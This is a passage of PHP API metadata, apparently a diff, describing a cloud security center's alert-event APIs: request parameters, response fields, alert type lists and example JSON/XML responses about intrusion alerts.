'本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7EA50837-2F0B-5BCC-AB61-4968D88D75AD', + ], + 'Data' => [ + 'description' => ' '."\n" + .'告警事件的详情。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '告警类型。取值：'."\n" + .''."\n" + .'- 进程异常行为'."\n" + .'- 网站后门'."\n" + .'- 异常登录'."\n" + .'- 异常事件'."\n" + .'- 敏感文件篡改'."\n" + .'- 恶意进程（云查杀）'."\n" + .'- 异常网络连接'."\n" + .'- 其他'."\n" + .'- 异常账号'."\n" + .'- 应用入侵事件'."\n" + .'- 云产品威胁检测'."\n" + .'- 精准防御'."\n" + .'- 应用白名单'."\n" + .'- 持久化后门'."\n" + .'- Web应用威胁检测'."\n" + .'- 恶意脚本'."\n" + .'- 威胁情报'."\n" + .'- 恶意网络行为'."\n" + .'- 容器集群异常'."\n" + .'- 网站后门（本地查杀）'."\n" + .'- 漏洞利用'."\n" + .'- 恶意进程（本地查杀）'."\n" + .'- 可信异常'."\n" + .''."\n" + .''."\n" + .'- Suspicious Process'."\n" + .'- Webshell'."\n" + .'- Unusual Logon'."\n" + .'- Malicious Software'."\n" + .'- Sensitive File Tampering'."\n" + .'- Unusual Network Connection'."\n" + .'- Other'."\n" + .'- Suspicious Account'."\n" + .'- Cloud threat detection'."\n" + .'- Precision defense'."\n" + .'- Application Whitelist'."\n" + .'- Persistence'."\n" + .'- Web Application Threat Detection'."\n" + .'- Malicious scripts'."\n" + .'- Malicious Network Activity'."\n" + .'- K8s Abnormal Behavior'."\n" + .'- Website backdoor (local engine)'."\n" + .'- Exploit'."\n" + .'- Image Scan'."\n" + .'- Trusted exception'."\n" + .''."\n", + 'type' => 'string', + 'example' => 'Webshell', + ], + 'InternetIp' => [ + 'description' => '关联实例的公网IP。', + 'type' => 'string', + 'example' => '172.16.XX.XX', + ], + 'K8sClusterName' => [ + 'description' => 'k8s集群名称。', + 'type' => 'string', + 'example' => 'TestK8sCluser', + ], + 'ContainerImageId' => [ + 'description' => '容器镜像ID。', + 'type' => 'string', + 'example' => 'cadb7a725641', + ], + 'AlarmEventDesc' => [ + 'description' => '告警事件描述。', + 'type' => 'string', + 'example' => 'The detection model finds that self-mutation is running on your server. A self-mutation Trojan is a Trojan horse program with self-mutation function. It will change its hash or copy a large number of itself to different paths, and run in the background to avoid cleaning.', + ], + 'AlarmUniqueInfo' => [ + 'description' => '告警事件的唯一标识。'."\n" + ."\n" + .'> 查询警事件的详细信息，需要提供告警事件的唯一标识信息，该标识信息可调用[DescribeSuspEvents](~~DescribeSuspEvents~~)接口获取。', + 'type' => 'string', + 'example' => '9f62555666f177aa84ee1eaf465a****', + ], + 'CanCancelFault' => [ + 'description' => '能否取消告警。取值： '."\n" + ."\n" + .'- **true**：可以取消标记为误报。'."\n" + ."\n" + .'- **false**：不能取消标记为误报。'."\n", + 'type' => 'boolean', + 'example' => 'false', + ], + 'AppName' => [ + 'description' => '容器应用名称。', + 'type' => 'string', + 'example' => 'app:msdp-uat-service', + ], + 'CanBeDealOnLine' => [ + 'description' => '能否在线处理。取值： '."\n" + ."\n" + .'- **true**：可以取消标记为误报。'."\n" + ."\n" + .'- **false**：不能取消标记为误报。', + 'type' => 'boolean', + 'example' => 'false', + ], + 'ContainerImageName' => [ + 'description' => '容器镜像名称。', + 'type' => 'string', + 'example' => 'jenkins/jenkins:latest', + ], + 'K8sClusterId' => [ + 'description' => 'K8s集群ID。', + 'type' => 'string', + 'example' => 'c562cf0d68e9749ee9fe544a7ab2f****', + ], + 'ContainHwMode' => [ + 'description' => '是否是重大活动安全保障模式。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'InstanceName' => [ + 'description' => '实例名称。', + 'type' => 'string', + 'example' => 'i-wz92q7m5hsbgfhdss***', + ], + 'K8sNodeId' => [ + 'description' => 'k8s节点ID。', + 'type' => 'string', + 'example' => 'i-bp14a1ay8e0aa9t0l***', + ], + 'Solution' => [ + 'description' => '告警事件的处理方法。', + 'type' => 'string', + 'example' => 'An invalid logon source IP has been detected. If you recognize this logon attempt, we recommend that you add the current logon source IP to the valid logon source IP list to avoid future alerts. If you do not recognize this logon attempt, we recommend that you modify the password.', + ], + 'DataSource' => [ + 'description' => '告警事件的数据来源。', + 'type' => 'string', + 'example' => 'aegis_***', + ], + 'IntranetIp' => [ + 'description' => '关联实例的私网IP。', + 'type' => 'string', + 'example' => '172.25.30.**', + ], + 'AlarmEventAliasName' => [ + 'description' => '告警事件名称。', + 'type' => 'string', + 'example' => 'Login with unusual location', + ], + 'EndTime' => [ + 'description' => '告警事件结束的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1542366542000', + ], + 'Uuid' => [ + 'description' => '资产实例的UUID。', + 'type' => 'string', + 'example' => '6690a46c-0edb-4663-a641-3629d1a9****', + ], + 'StartTime' => [ + 'description' => '告警事件的开始的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1542378601000', + ], + 'ContainerId' => [ + 'description' => '容器应用ID。', + 'type' => 'string', + 'example' => 'container_1606995441910_394868_01_000***', + ], + 'K8sPodName' => [ + 'description' => 'k8sPod名称。', + 'type' => 'string', + 'example' => 'myapp-pod', + ], + 'K8sNamespace' => [ + 'description' => 'K8s命名空间。', + 'type' => 'string', + 'example' => 'sit-saic-trip', + ], + 'K8sNodeName' => [ + 'description' => 'k8s节点名称。', + 'type' => 'string', + 'example' => 'cn-hangzhou.10.188.139.**', + ], + 'Level' => [ + 'description' => '告警事件的危险等级。取值：'."\n" + .'- **serious**：紧急。'."\n" + .'- **suspicious**：可疑。'."\n" + .'- **remind**：提醒。', + 'type' => 'string', + 'example' => 'serious', + ], + 'CauseDetails' => [ + 'description' => '告警事件发生的原因（溯源信息）。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Key' => [ + 'description' => '告警事件溯源的key。', + 'type' => 'string', + 'example' => '842e314e69b1a2c45d5c1a2f88a16***', + ], + 'Value' => [ + 'description' => '告警事件溯源的value。', + 'type' => 'array', + 'items' => [ + 'description' => '溯源展示信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '溯源信息字段的展示类型。取值：'."\n" + .'- **text**：文本方式。'."\n" + .'- **html**：富文本方式。'."\n", + 'type' => 'string', + 'example' => 'html', + ], + 'Value' => [ + 'description' => '溯源信息字段的值。', + 'type' => 'string', + 'example' => '

under a certain small probability, yundun may mistakenly judge the repeated attempts caused by the administrator forgetting or entering the wrong password as successful blasting. Please check according to the account number and time shown in the alarm details. Once it is confirmed that it is not the initiative of the administrator, it is recommended to immediately block the IP, and you can open it at the same timePAM, hosting host login password, improving remote connection efficiency and security control ability, and according tobest practice of ECS account security protectionModify login password and convergence asset.

↵', + ], + 'Name' => [ + 'description' => '溯源信息字段的名称。', + 'type' => 'string', + 'example' => 'sshd', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"7EA50837-2F0B-5BCC-AB61-4968D88D75AD\\",\\n \\"Data\\": {\\n \\"Type\\": \\"Webshell\\",\\n \\"InternetIp\\": \\"172.16.XX.XX\\",\\n \\"K8sClusterName\\": \\"TestK8sCluser\\",\\n \\"ContainerImageId\\": \\"cadb7a725641\\",\\n \\"AlarmEventDesc\\": \\"The detection model finds that self-mutation is running on your server. A self-mutation Trojan is a Trojan horse program with self-mutation function. It will change its hash or copy a large number of itself to different paths, and run in the background to avoid cleaning.\\",\\n \\"AlarmUniqueInfo\\": \\"9f62555666f177aa84ee1eaf465a****\\",\\n \\"CanCancelFault\\": false,\\n \\"AppName\\": \\"app:msdp-uat-service\\",\\n \\"CanBeDealOnLine\\": false,\\n \\"ContainerImageName\\": \\"jenkins/jenkins:latest\\",\\n \\"K8sClusterId\\": \\"c562cf0d68e9749ee9fe544a7ab2f****\\",\\n \\"ContainHwMode\\": true,\\n \\"InstanceName\\": \\"i-wz92q7m5hsbgfhdss***\\",\\n \\"K8sNodeId\\": \\"i-bp14a1ay8e0aa9t0l***\\",\\n \\"Solution\\": \\"An invalid logon source IP has been detected. If you recognize this logon attempt, we recommend that you add the current logon source IP to the valid logon source IP list to avoid future alerts. If you do not recognize this logon attempt, we recommend that you modify the password.\\",\\n \\"DataSource\\": \\"aegis_***\\",\\n \\"IntranetIp\\": \\"172.25.30.**\\",\\n \\"AlarmEventAliasName\\": \\"Login with unusual location\\",\\n \\"EndTime\\": 1542366542000,\\n \\"Uuid\\": \\"6690a46c-0edb-4663-a641-3629d1a9****\\",\\n \\"StartTime\\": 1542378601000,\\n \\"ContainerId\\": \\"container_1606995441910_394868_01_000***\\",\\n \\"K8sPodName\\": \\"myapp-pod\\",\\n \\"K8sNamespace\\": \\"sit-saic-trip\\",\\n \\"K8sNodeName\\": \\"cn-hangzhou.10.188.139.**\\",\\n \\"Level\\": \\"serious\\",\\n \\"CauseDetails\\": [\\n {\\n \\"Key\\": \\"842e314e69b1a2c45d5c1a2f88a16***\\",\\n \\"Value\\": [\\n {\\n \\"Type\\": \\"html\\",\\n \\"Value\\": \\"

under a certain small probability, yundun may mistakenly judge the repeated attempts caused by the administrator forgetting or entering the wrong password as successful blasting. Please check according to the account number and time shown in the alarm details. Once it is confirmed that it is not the initiative of the administrator, it is recommended to immediately block the IP, and you can open it at the same timePAM, hosting host login password, improving remote connection efficiency and security control ability, and according tobest practice of ECS account security protectionModify login password and convergence asset.

↵\\",\\n \\"Name\\": \\"sshd\\"\\n }\\n ]\\n }\\n ]\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n 5A1DDB3C-798C-4A84-BF6E-3DC700000000\\n \\n false\\n 1542366542000\\n true\\n \\n html\\n \\n \\n \\n html\\n 请根据上述信息排查您的WEB服务被利用的页面及参数是否存在漏洞，并及时修复。\\n 排查方案\\n \\n \\n 1542378601000\\n 1.2.3.5\\n aegis_***\\n 测试服务器\\n 异常网络连接\\n false\\n 47900178-885d-4fa4-9d77-XXXXXXXXXXXX\\n 1.2.3.1\\n 黑客入侵服务器后，为了让恶意后门程序能持久化运行，黑客常常将恶意SHELL脚本写入crontab、systemd等计划任务。\\n 8df914418f4211fbf756efe70000****\\n serious\\n 进程异常行为-Linux计划任务执行异常指令\\n 请及时排查告警中提示的恶意URL，以及所下载的目录下的恶意文件。并及时清理已运行的恶意进程。如果该指令是您自己主动执行，您可以在控制台点击标记为误报，并通过工单方式反馈给阿里云安全工程师。\\n \\n","errorExample":""}]', + 'title' => '获取告警事件详细信息', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeSuspEvents' => [ + 'summary' => '查询未经过告警聚合的安全告警事件的列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92215', + 'abilityTreeNodes' => [ + 'FEATUREsas731ZAS', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.XX.XX', + ], + ], + [ + 'name' => 'Dealed', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的告警事件是否已处理。取值：'."\n" + .'- **N**：待处理'."\n" + .'- **Y**：已处理', + 'type' => 'string', + 'required' => false, + 'example' => 'N', + ], + ], + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '受该告警事件影响的资产的名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'ecs-xxx', + ], + ], + [ + 'name' => 'Levels', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的告警事件处理的紧急程度，多个紧急程度之间使用半角逗号（,）分隔，紧急程度依次递减。取值：'."\n" + .'- **serious**：紧急'."\n" + .'- **suspicious**：可疑'."\n" + .'- **remind**：提醒', + 'type' => 'string', + 'required' => false, + 'example' => 'serious', + ], + ], + [ + 'name' => 'ParentEventTypes', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的告警事件的告警类型。取值：'."\n" + ."\n" + .'- **进程异常行为**'."\n" + .'- **网站后门**'."\n" + .'- **异常登录**'."\n" + .'- **异常事件**'."\n" + .'- **敏感文件篡改**'."\n" + .'- **恶意进程（云查杀）**'."\n" + .'- **异常网络连接**'."\n" + .'- **异常账号**'."\n" + .'- **应用入侵事件**'."\n" + .'- **云产品威胁检测**'."\n" + .'- **精准防御**'."\n" + .'- **应用白名单**'."\n" + .'- **持久化后门**'."\n" + .'- **Web应用威胁检测**'."\n" + .'- **恶意脚本**'."\n" + .'- **威胁情报**'."\n" + .'- **恶意网络行为**'."\n" + .'- **容器集群异常**'."\n" + .'- **网站后门（本地查杀）**'."\n" + .'- **漏洞利用**'."\n" + .'- **恶意进程（本地查杀）**'."\n" + .'- **可信异常**'."\n" + .'- **其他**', + 'type' => 'string', + 'required' => false, + 'example' => 'other', + ], + ], + [ + 'name' => 'EventNames', + 'in' => 'query', + 'schema' => [ + 'description' => '告警事件的子类型。多个类型之间使用半角逗号（,）隔开。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'WEBSHELL', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的告警名称或资产的信息。'."\n" + ."\n" + .'> 支持模糊查询。资产信息包含资产名称、公网IP、内网IP。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.XX.XX', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'allowEmptyValue' => false, + 'schema' => [ + 'description' => '要查询的告警事件状态。取值：'."\n" + .'- **0**：全部'."\n" + .'- **1**：待处理'."\n" + .'- **2**：已忽略'."\n" + .'- **4**：已确认'."\n" + .'- **8**：已标记为误报'."\n" + .'- **16**：处理中'."\n" + .'- **32**：处理完毕'."\n" + .'- **64**：已经过期'."\n" + .'- **128**：已经删除'."\n" + .'- **512**：自动拦截中'."\n" + .'- **513**：自动拦截完毕', + 'type' => 'string', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'allowEmptyValue' => true, + 'schema' => [ + 'description' => '设置分页查询时，每页显示的告警事件的数量。默认值为**20**，表示每页显示20条告警事件。最大值为100。', + 'type' => 'string', + 'required' => false, + 'example' => '20', + 'pattern' => '^\\d+$', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'allowEmptyValue' => true, + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'string', + 'required' => false, + 'example' => '1', + 'pattern' => '^\\d+$', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型。默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + 'default' => 'zh', + ], + ], + [ + 'name' => 'AlarmUniqueInfo', + 'in' => 'query', + 'schema' => [ + 'description' => '告警事件的唯一标识ID。'."\n" + ."\n" + .'> 如果查询单个告警事件的异常事件信息，需要提供告警事件的唯一标识ID，该ID可调用[DescribeSuspEvents](~~DescribeSuspEvents~~)接口获取。', + 'type' => 'string', + 'required' => false, + 'example' => '8df914418f4211fb****', + ], + ], + [ + 'name' => 'UniqueInfo', + 'in' => 'query', + 'schema' => [ + 'description' => '安全告警的唯一key。', + 'type' => 'string', + 'required' => false, + 'example' => '73fc06fb175a7405697e402f52864****', + ], + ], + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '记录告警事件的唯一标识ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '123', + ], + ], + [ + 'name' => 'From', + 'in' => 'query', + 'schema' => [ + 'description' => '告警事件所属数据源标识，固定为sas。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas', + 'default' => 'sas', + ], + ], + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'description' => '告警来源。', + 'type' => 'string', + 'required' => false, + 'example' => 'aegis_suspicious_file_v2', + ], + ], + [ + 'name' => 'GroupId', + 'in' => 'query', + 'schema' => [ + 'description' => '受告警事件影响的资产的分组ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '18768', + ], + ], + [ + 'name' => 'Uuids', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询告警的服务器的UUID，多个UUID使用半角逗号（,）分隔。', + 'type' => 'string', + 'required' => false, + 'example' => 'bb5d2484-f10e-450d-8917-3e79667e****,0e7c2fcd-7100-42c7-a21a-db6e4f32****', + ], + ], + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '需要查询告警事件的集群ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'c4af4fdf38a98496a9b63c2be5dae****', + ], + ], + [ + 'name' => 'ContainerFieldName', + 'in' => 'query', + 'schema' => [ + 'description' => '容器检索项。取值：'."\n" + ."\n" + .'- **instanceId**：实例ID'."\n" + .'- **appName**：应用名'."\n" + .'- **clusterId**：集群ID'."\n" + .'- **regionId**：地域'."\n" + .'- **nodeName**：节点名'."\n" + .'- **namespace**：命名空间'."\n" + .'- **clusterName**：集群名称'."\n" + .'- **image**：镜像名称'."\n" + .'- **imageRepoName**：镜像的仓库名称'."\n" + .'- **imageRepoNamespace**：镜像的仓库命名空间'."\n" + .'- **imageRepoTag**：镜像的标签'."\n" + .'- **imageDigest**：镜像摘要', + 'type' => 'string', + 'required' => false, + 'example' => 'instanceId', + ], + ], + [ + 'name' => 'ContainerFieldValue', + 'in' => 'query', + 'schema' => [ + 'description' => '容器检索项对应值。', + 'type' => 'string', + 'required' => false, + 'example' => 'ccf9769c22b844ff9b8d57417683b****', + ], + ], + [ + 'name' => 'TargetType', + 'in' => 'query', + 'schema' => [ + 'description' => '容器检索目标类型。取值：'."\n" + .'- **containerId**：容器ID'."\n" + .'- **uuid**：服务器UUID'."\n" + .'- **imageUuid**：镜像UUID', + 'type' => 'string', + 'required' => false, + 'example' => 'containerId', + ], + ], + [ + 'name' => 'TacticId', + 'in' => 'formData', + 'schema' => [ + 'description' => 'ATT&CK的战术ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'TA0001', + ], + ], + [ + 'name' => 'OperateErrorCodeList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '告警事件处理结果码集合。', + 'type' => 'array', + 'items' => [ + 'description' => '告警事件处理结果码。格式为：操作类型.操作结果码。包括以下操作类型：'."\n" + ."\n" + .'- **Common**：通用操作'."\n" + .'- **deal**：处理'."\n" + .'- **ignore**：忽略'."\n" + .'- **offline_handled**：告警已确认'."\n" + .'- **mark\\_mis_info**：加白名单'."\n" + .'- **rm\\_mark\\_mis_info**：取消加白名单'."\n" + .'- **quara**：隔离'."\n" + .'- **kill\\_and_quara**：普通查杀'."\n" + .'- **kill\\_virus**：深度清理'."\n" + .'- **block_ip**：阻断'."\n" + .'- **manual_handled**：手工处理'."\n" + .'- **advance\\_mark\\_mis_info**：精准防御加白名单'."\n" + .'- **advance\\_mark\\_mis_info.System**：精准防御加白名单自动加白'."\n" + .'- **advance\\_mark\\_mis_info.User**：精准防御加白名单手动加白'."\n" + ."\n" + .'操作结果码：'."\n" + ."\n" + .'- **Success**：成功'."\n" + .'- **Failure**：失败'."\n" + .'- **AgentOffline**：客户端离线', + 'type' => 'string', + 'required' => false, + 'example' => 'ignore. Success', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'OperateTimeStart', + 'in' => 'query', + 'schema' => [ + 'title' => '处理时间开始时间', + 'description' => '处理时间开始时间戳。', + 'type' => 'string', + 'required' => false, + 'example' => '2022-07-05 13:50:38', + ], + ], + [ + 'name' => 'OperateTimeEnd', + 'in' => 'query', + 'schema' => [ + 'title' => '处理时间结束时间', + 'description' => '处理时间结束时间戳。', + 'type' => 'string', + 'required' => false, + 'example' => '2022-07-06 13:50:38', + ], + ], + [ + 'name' => 'TimeStart', + 'in' => 'query', + 'schema' => [ + 'title' => '最新发生开始时间', + 'description' => '最新发生时间起始时间。', + 'type' => 'string', + 'required' => false, + 'example' => '2022-07-05 13:50:38', + ], + ], + [ + 'name' => 'TimeEnd', + 'in' => 'query', + 'schema' => [ + 'title' => '最新发生结束时间', + 'description' => '最新发生时间结束时间。', + 'type' => 'string', + 'required' => false, + 'example' => '2022-07-06 13:50:38', + ], + ], + [ + 'name' => 'SortColumn', + 'in' => 'query', + 'schema' => [ + 'title' => '排序字段', + 'description' => '自定义排序字段，默认**operateTime**，取值：'."\n" + ."\n" + .'- **lastTime**：最新发生时间。'."\n" + .'- **operateTime**：处理时间。'."\n" + ."\n" + .'> 该字段作用于**Dealed**为Y。', + 'type' => 'string', + 'required' => false, + 'example' => 'operateTime', + ], + ], + [ + 'name' => 'SortType', + 'in' => 'query', + 'schema' => [ + 'title' => '排序方式', + 'description' => '自定义排序类型，默认**desc**，取值：'."\n" + ."\n" + .'- **asc**：升序。'."\n" + .'- **desc**：倒叙。'."\n" + ."\n" + .'> 该字段作用于**Dealed**为Y。', + 'type' => 'string', + 'required' => false, + 'example' => 'desc', + ], + ], + [ + 'name' => 'AssetsTypeList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '资产类型集合。', + 'type' => 'array', + 'items' => [ + 'description' => '资产类型。'."\n" + .'- **ECS**：云服务器'."\n" + .'- **CONTAINER**：容器'."\n" + .'- **K8S**：K8s集群', + 'type' => 'string', + 'required' => false, + 'example' => 'ECS', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号主账号ID。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '16670360956*****', + ], + ], + [ + 'name' => 'StrictMode', + 'in' => 'query', + 'schema' => [ + 'description' => '是否属于严格模式告警标识。'."\n" + .'- N：否'."\n" + .'- Y：是', + 'type' => 'string', + 'required' => false, + 'example' => 'Y', + ], + ], + [ + 'name' => 'MultiAccountActionType', + 'in' => 'query', + 'schema' => [ + 'description' => '多账号查询类型。默认值为**0**。取值：'."\n" + .'- **0**：查询当前账号数据'."\n" + .'- **1**：查询所有账号数据', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + [ + 'name' => 'SourceAliUids', + 'in' => 'query', + 'style' => 'simple', + 'schema' => [ + 'description' => '产生告警的阿里云账号ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '产生告警的阿里云账号ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '196072141348****', + ], + 'required' => false, + ], + ], + [ + 'name' => 'SupportOperateCodeList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '告警支持的操作类型列表。', + 'type' => 'array', + 'items' => [ + 'description' => '告警支持的操作类型：'."\n" + .'- **AI.false_positive**：疑似误报'."\n" + .'- **AI.real_attack**：真实攻击'."\n" + .'- **AI.Insufficient_information_to_evaluate**：无法研判', + 'type' => 'string', + 'required' => false, + 'example' => 'AI.real_attack', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '告警事件返回数据。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页数据显示的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => '0D6E20E4-8326-1D03-A553-2182BE9E82F9', + ], + 'TotalCount' => [ + 'description' => '告警事件的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'SuspEvents' => [ + 'description' => '告警事件信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Stages' => [ + 'description' => '攻击阶段。', + 'type' => 'string', + 'example' => '"["authority_maintenance"]"', + ], + 'TacticItems' => [ + 'title' => '攻击阶段展示名', + 'description' => '攻击阶段展示名。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'TacticId' => [ + 'description' => 'ATT&CK攻击阶段信息。', + 'type' => 'string', + 'example' => 'TA0001', + ], + 'TacticDisplayName' => [ + 'description' => 'ATT&CK的战术名称。', + 'type' => 'string', + 'example' => 'Malicious scripts-Malicious script code execution', + ], + ], + ], + ], + 'InternetIp' => [ + 'description' => '关联实例的公网IP。'."\n", + 'type' => 'string', + 'example' => '1.2.XX.XX', + ], + 'K8sClusterName' => [ + 'description' => 'K8s集群名称。', + 'type' => 'string', + 'example' => 'test-daily', + ], + 'ContainerImageId' => [ + 'description' => '容器镜像ID。', + 'type' => 'string', + 'example' => 'sha256:2e5a3b0ae5f452b3cb458789a9a7542ef40035a84318469a8528c5e444db1****', + ], + 'LastTimeStamp' => [ + 'description' => '最后一次发生的时间戳，单位为毫秒。'."\n" + ."\n", + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1631699497000', + ], + 'OccurrenceTime' => [ + 'description' => '告警事件首次发生的时间。', + 'type' => 'string', + 'example' => '2018-09-26 01:51:01', + ], + 'AlarmUniqueInfo' => [ + 'description' => '告警事件的唯一标识ID。', + 'type' => 'string', + 'example' => '8df914418f****', + ], + 'Desc' => [ + 'description' => '告警事件的影响概况描述。', + 'type' => 'string', + 'example' => 'webshell', + ], + 'CanCancelFault' => [ + 'description' => '能否取消标记为误报。取值：'."\n" + .'- **true**：可以取消'."\n" + .'- **false**：不能取消', + 'type' => 'boolean', + 'example' => 'false', + ], + 'AlarmEventNameDisplay' => [ + 'description' => '告警名称。', + 'type' => 'string', + 'example' => 'Login with unusual location', + ], + 'AppName' => [ + 'description' => '告警事件所属应用的名称。', + 'type' => 'string', + 'example' => 'pro-deploy-tibasic', + ], + 'SecurityEventIds' => [ + 'description' => '告警事件关联的告警事件的ID。', + 'type' => 'string', + 'example' => '270789', + ], + 'K8sClusterId' => [ + 'description' => 'K8s集群ID。', + 'type' => 'string', + 'example' => 'c517b37e1401e4961b3951863a49a****', + ], + 'ContainerImageName' => [ + 'description' => '容器镜像名称。', + 'type' => 'string', + 'example' => 'centos7_apache:v1.0.1', + ], + 'MarkMisRules' => [ + 'description' => '高级加白规则。', + 'type' => 'string', + 'example' => '1.  path  contain  232  ', + ], + 'CanBeDealOnLine' => [ + 'description' => '是否支持在线处理告警事件，例如隔离。取值包括：'."\n" + ."\n" + .'- **true**：支持在线处理'."\n" + .'- **false**：不支持在线处理', + 'type' => 'boolean', + 'example' => 'true', + ], + 'ContainHwMode' => [ + 'description' => '是否为服务器开启了重保护模式。取值：'."\n" + .'- **true**：已开启。'."\n" + .'- **false**：未开启。', + 'type' => 'boolean', + 'example' => 'false', + ], + 'K8sNodeId' => [ + 'description' => 'K8s节点ID。', + 'type' => 'string', + 'example' => 'i-bp14a1ay8e0aa9t0****'."\n", + ], + 'InstanceName' => [ + 'description' => '关联实例的名称。'."\n", + 'type' => 'string', + 'example' => 'nginx', + ], + 'EventStatus' => [ + 'description' => '告警事件的状态。取值包括：'."\n" + .'- **1**：PENDING（待处理）'."\n" + .'- **2**：IGNORE（已忽略）'."\n" + .'- **4**：HANDLED（已确认）'."\n" + .'- **8**：FAULT（已标记误报）'."\n" + .'- **16**：DEALING（处理中）'."\n" + .'- **32**：DONE（处理完毕）'."\n" + .'- **64**：EXPIRE（已经过期）'."\n" + .'- **604**：SYSTEM_FAULT（系统标记为误报）', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '8', + ], + 'SaleVersion' => [ + 'description' => '告警事件检测支持的产品售卖版本。取值包括：'."\n" + .'- **0**：基础版本'."\n" + .'- **1**：企业版本', + 'type' => 'string', + 'example' => '1', + ], + 'OperateErrorCode' => [ + 'description' => '告警事件操作的错误码。', + 'type' => 'string', + 'example' => 'kill_and_quara.Success', + ], + 'Name' => [ + 'description' => '告警事件的完整名称。', + 'type' => 'string', + 'example' => 'Unusual Logon-Login with unusual location', + ], + 'HasTraceInfo' => [ + 'description' => '告警事件是否有溯源信息。取值：'."\n" + ."\n" + .'- **true**：有溯源'."\n" + .'- **false**：无溯源', + 'type' => 'boolean', + 'example' => 'true', + ], + 'DataSource' => [ + 'description' => '数据来源（可忽略）。', + 'type' => 'string', + 'example' => 'aegis_suspicious_****', + ], + 'OperateTime' => [ + 'description' => '告警事件操作的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1631699497000', + ], + 'EventSubType' => [ + 'description' => '告警事件子类型。', + 'type' => 'string', + 'example' => 'login_common_location', + ], + 'Advanced' => [ + 'description' => '是否离线分析的告警。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'OccurrenceTimeStamp' => [ + 'description' => 